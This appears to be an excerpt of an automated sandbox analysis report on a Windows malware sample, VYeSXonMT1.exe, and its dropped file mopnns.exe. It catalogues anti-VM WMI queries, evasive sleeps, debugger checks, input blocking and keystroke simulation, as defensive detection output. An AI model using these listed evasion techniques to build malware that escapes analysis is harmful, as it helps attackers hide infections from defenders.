Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Code function: 0_2_004663F0 SetWindowTextW,IsZoomed,IsIconic,__wcsnicmp,__wcsnicmp,__wcsnicmp,__wcsnicmp,__wcsnicmp,__wcsnicmp,__wcsnicmp,__wcsnicmp,__wcsnicmp,MulDiv,MulDiv,ShowWindow,IsIconic,GetParent,GetWindowLongW,GetWindowRect,MapWindowPoints,GetWindowLongW,GetWindowRect,GetWindowLongW,GetWindowRect,GetClientRect,IsWindowVisible,GetWindowLongW,GetWindowLongW,GetMenu,GetWindowLongW,AdjustWindowRectEx,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,SendMessageW,GetClientRect,SystemParametersInfoW,GetWindowRect,IsZoomed,ShowWindow,MoveWindow,GetWindowRect,GetClientRect,ShowWindow,GetAncestor,GetForegroundWindow,GetFocus,GetDlgCtrlID,GetDlgCtrlID,GetParent,GetDlgCtrlID,UpdateWindow,GetDlgCtrlID,SetFocus,		0_2_004663F0
Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Code function: 0_2_004663F0 SetWindowTextW,IsZoomed,IsIconic,__wcsnicmp,__wcsnicmp,__wcsnicmp,__wcsnicmp,__wcsnicmp,__wcsnicmp,__wcsnicmp,__wcsnicmp,__wcsnicmp,MulDiv,MulDiv,ShowWindow,IsIconic,GetParent,GetWindowLongW,GetWindowRect,MapWindowPoints,GetWindowLongW,GetWindowRect,GetWindowLongW,GetWindowRect,GetClientRect,IsWindowVisible,GetWindowLongW,GetWindowLongW,GetMenu,GetWindowLongW,AdjustWindowRectEx,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,SendMessageW,GetClientRect,SystemParametersInfoW,GetWindowRect,IsZoomed,ShowWindow,MoveWindow,GetWindowRect,GetClientRect,ShowWindow,GetAncestor,GetForegroundWindow,GetFocus,GetDlgCtrlID,GetDlgCtrlID,GetParent,GetDlgCtrlID,UpdateWindow,GetDlgCtrlID,SetFocus,		0_2_004663F0
Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Code function: 0_2_0043D4F0 GetCursorPos,GetForegroundWindow,IsIconic,GetWindowRect,ClientToScreen,WindowFromPoint,EnumChildWindows,_memset,EnumChildWindows,GetClassNameW,EnumChildWindows,		0_2_0043D4F0
Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Code function: 0_2_0043A490 GetForegroundWindow,IsIconic,GetWindowRect,ClientToScreen,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,ReleaseDC,SelectObject,DeleteDC,DeleteObject,_free,GetPixel,ReleaseDC,		0_2_0043A490
Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Code function: 0_2_0043C660 SendMessageW,SendMessageW,SendMessageW,IsWindowVisible,ShowWindow,ShowWindow,IsIconic,ShowWindow,GetForegroundWindow,SetForegroundWindow,SendMessageW,		0_2_0043C660
Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Code function: 0_2_00477760 GetForegroundWindow,IsIconic,GetWindowRect,ClientToScreen,		0_2_00477760
Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Code function: 0_2_004777C0 GetForegroundWindow,IsIconic,GetWindowRect,ClientToScreen,		0_2_004777C0

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Source: C:\Users\user\Desktop\VYeSXonMT1.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Disables application error messsages (SetErrorMode)

Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion:

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

May sleep (evasive loops) to hinder dynamic analysis

Source: C:\Users\user\Desktop\VYeSXonMT1.exe TID: 7124	Thread sleep time: -30000s >= -30000s			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe TID: 2976	Thread sleep time: -6456360425798339s >= -30000s			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe TID: 4696	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe

Code function: 4_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,Module32Next,FindCloseChangeNotification,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,VariantClear,VariantClear,VariantClear,

4_2_004019F0

Contains long sleeps (>= 3 min)

Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Window / User API: threadDelayed 3068			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Window / User API: threadDelayed 2962			Jump to behavior

Is looking for software installed on the system

Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe

Registry key enumerated: More than 149 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Contains medium sleeps (>= 30s)

Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

May try to detect the virtual machine to hinder analysis (VM artifact strings found in memory)

Source: Amcache.hve.0.dr	Binary or memory string: VMware
Source: Amcache.hve.0.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/5&1ec51bf7&0&000000
Source: Amcache.hve.0.dr	Binary or memory string: VMware-42 35 34 13 2a 07 0a 9c-ee 7f dd c3 60 c7 b9 af
Source: Amcache.hve.0.dr	Binary or memory string: @scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/5&280b647&0&000000
Source: Amcache.hve.0.dr	Binary or memory string: VMware Virtual USB Mouse
Source: VYeSXonMT1.exe, 00000000.00000002.405995459.00000000020CD000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAWen-USn"
Source: Amcache.hve.0.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.0.dr	Binary or memory string: VMware Virtual disk SCSI Disk Devicehbin
Source: Amcache.hve.0.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.0.dr	Binary or memory string: VMware7,1
Source: Amcache.hve.0.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.0.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: VYeSXonMT1.exe, 00000000.00000002.405947019.0000000002086000.00000004.00000001.sdmp, VYeSXonMT1.exe, 00000000.00000002.405995459.00000000020CD000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.0.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.0.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.0.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW71.00V.13989454.B64.1906190538,BiosReleaseDate:06/19/2019,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware7,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1x
Source: Amcache.hve.0.dr	Binary or memory string: VMware, Inc.me
Source: Amcache.hve.0.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/5&280b647&0&000000
Source: mopnns.exe, 00000004.00000002.480909790.0000000005A05000.00000004.00000001.sdmp	Binary or memory string: Win32_VideoController(Standard display types)VMware9TGWZTFXWin32_VideoControllerW4PSMW52VideoController120060621000000.000000-00049705532display.infMSBDA853EF93NPCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00\3&61AAA01&0&78OKWin32_ComputerSystemcomputer1280 x 1024 x 4294967296 colorsBRYK4S2G2c1dfad63d745d6f
Source: VYeSXonMT1.exe, 00000000.00000002.406411252.0000000003FD0000.00000004.00000001.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{e6e9dfd8-98f2-11e9-90ce-806e6f6e6963}\e
Source: mopnns.exe, 00000004.00000003.467157538.00000000007B5000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.468119983.00000000007B5000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Amcache.hve.0.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/5&1ec51bf7&0&000000

Queries a list of all running processes

Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe

Process information queried: ProcessInformation

Jump to behavior

Contains functionality to enumerate / list files inside a directory

Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Code function: 0_2_004770E0 FindFirstFileW,FindClose,GetFileAttributesW,		0_2_004770E0
Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Code function: 0_2_00477170 _wcschr,_wcschr,_wcschr,FindFirstFileW,FindClose,_wcschr,FindFirstFileW,FindClose,		0_2_00477170
Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Code function: 0_2_00444070 FindFirstFileW,GetLastError,FindClose,FileTimeToLocalFileTime,		0_2_00444070
Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Code function: 0_2_004443B0 CreateFileW,GetFileSizeEx,CloseHandle,FindFirstFileW,GetLastError,FindClose,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,		0_2_004443B0

Anti Debugging:

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe

Code function: 4_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,Module32Next,FindCloseChangeNotification,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,VariantClear,VariantClear,VariantClear,

4_2_004019F0

Contains functionality to dynamically determine API calls

Source: C:\Users\user\Desktop\VYeSXonMT1.exe

Code function: 0_2_0046A020 LoadLibraryW,GetProcAddress,FreeLibrary,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetSysColor,SendMessageW,

0_2_0046A020

Contains functionality to read the PEB

Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: 4_2_020A0083 push dword ptr fs:[00000030h]		4_2_020A0083
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: 4_2_020D092B mov eax, dword ptr fs:[00000030h]		4_2_020D092B
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: 4_2_020D0D90 mov eax, dword ptr fs:[00000030h]		4_2_020D0D90

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Source: C:\Users\user\Desktop\VYeSXonMT1.exe

Code function: 0_2_004966B6 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_004966B6

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Source: C:\Users\user\Desktop\VYeSXonMT1.exe

Code function: 0_2_0049C54E __lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,HeapAlloc,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,

0_2_0049C54E

Enables debug privileges

Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe

Process token adjusted: Debug

Jump to behavior

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Source: C:\Users\user\Desktop\VYeSXonMT1.exe

Code function: 0_2_0040F250 __wcsnicmp,__wcsnicmp,GetWindowThreadProcessId,AttachThreadInput,GetKeyboardLayout,GetTickCount,GetCurrentThreadId,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetGUIThreadInfo,GetWindowThreadProcessId,GetTickCount,BlockInput,GetTickCount,GetTickCount,PeekMessageW,GetTickCount,_wcschr,_wcschr,__wcsnicmp,__wcsnicmp,_wcschr,__wcsnicmp,__wcsnicmp,__wcsnicmp,__wcsnicmp,__wcsnicmp,__wcsicoll,PostMessageW,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetTickCount,GetTickCount,PeekMessageW,GetTickCount,__wcsnicmp,__wcsnicmp,__fassign,PostMessageW,PostMessageW,PostMessageW,__itow,PostMessageW,_free,GetTickCount,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetKeyState,GetKeyState,GetKeyState,GetForegroundWindow,GetWindowThreadProcessId,AttachThreadInput,BlockInput,GetForegroundWindow,GetWindowThreadProcessId,

0_2_0040F250

Creates guard pages, often used to prevent reverse usering and debugging

Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe

Memory allocated: page read and write | page guard

Jump to behavior

Contains functionality to register its own exception handler

Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Code function: 0_2_004981F2 SetUnhandledExceptionFilter,		0_2_004981F2
Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Code function: 0_2_004966B6 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_004966B6
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: 4_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		4_2_0040CE09
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: 4_2_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		4_2_0040E61C
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: 4_2_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		4_2_00416F6A
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: 4_2_004123F1 SetUnhandledExceptionFilter,		4_2_004123F1
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: 4_2_020DD059 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		4_2_020DD059
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: 4_2_020DE86C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		4_2_020DE86C
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: 4_2_020E71BA __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		4_2_020E71BA
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: 4_2_020E2641 SetUnhandledExceptionFilter,		4_2_020E2641

HIPS / PFW / Operating System Protection Evasion:

Contains functionality to simulate keystroke presses

Source: C:\Users\user\Desktop\VYeSXonMT1.exe

Code function: 0_2_00412300 keybd_event,

0_2_00412300

Contains functionality to launch a program with higher privileges

Source: C:\Users\user\Desktop\VYeSXonMT1.exe

Code function: 0_2_00431310 __wcsicoll,__wcsicoll,__wcsicoll,__wcsicoll,__wcsicoll,__wcsicoll,__wcsicoll,__wcsicoll,__wcsicoll,__wcsicoll,__wcsicoll,__wcsicoll,_memset,CreateProcessW,CloseHandle,CloseHandle,GetLastError,_memset,__wcsicoll,_wcschr,SetCurrentDirectoryW,_wcschr,_wcschr,GetFileAttributesW,_wcschr,SetCurrentDirectoryW,ShellExecuteExW,GetModuleHandleW,GetProcAddress,GetLastError,FormatMessageW,

0_2_00431310

Contains functionality to simulate mouse events

Source: C:\Users\user\Desktop\VYeSXonMT1.exe

Code function: 0_2_004122A0 mouse_event,

0_2_004122A0

May try to detect the Windows Explorer process (often used for injection)

Source: VYeSXonMT1.exe	Binary or memory string: Program Manager
Source: VYeSXonMT1.exe	Binary or memory string: Shell_TrayWnd
Source: VYeSXonMT1.exe	Binary or memory string: Progman
Source: VYeSXonMT1.exe, 00000000.00000002.405504382.00000000004B2000.00000040.00020000.sdmp	Binary or memory string: "%-1.300s"The maximum number of MsgBoxes has been reached.IsHungAppWindowDwmGetWindowAttributedwmapi.dllahk_idpidgroup%s%uProgram ManagerProgmanWorkerWError text not found (please report)Q\E{0,DEFINEUTF16)UCP)NO_START_OPT)CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument is compiled in 8 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory

Language, Device and Operating System Detection:

Yara detected Evader

Source: Yara match	File source: 0.2.VYeSXonMT1.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.405540255.00000000004CE000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.406187807.0000000003A41000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.374963665.0000000003B10000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: VYeSXonMT1.exe PID: 6972, type: MEMORYSTR

Contains functionality to query locales information (e.g. system language)

Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: GetLocaleInfoA,		4_2_00417A20
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: GetLocaleInfoA,		4_2_020E7C70

Queries the volume information (name, serial number etc) of a device

Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation			Jump to behavior
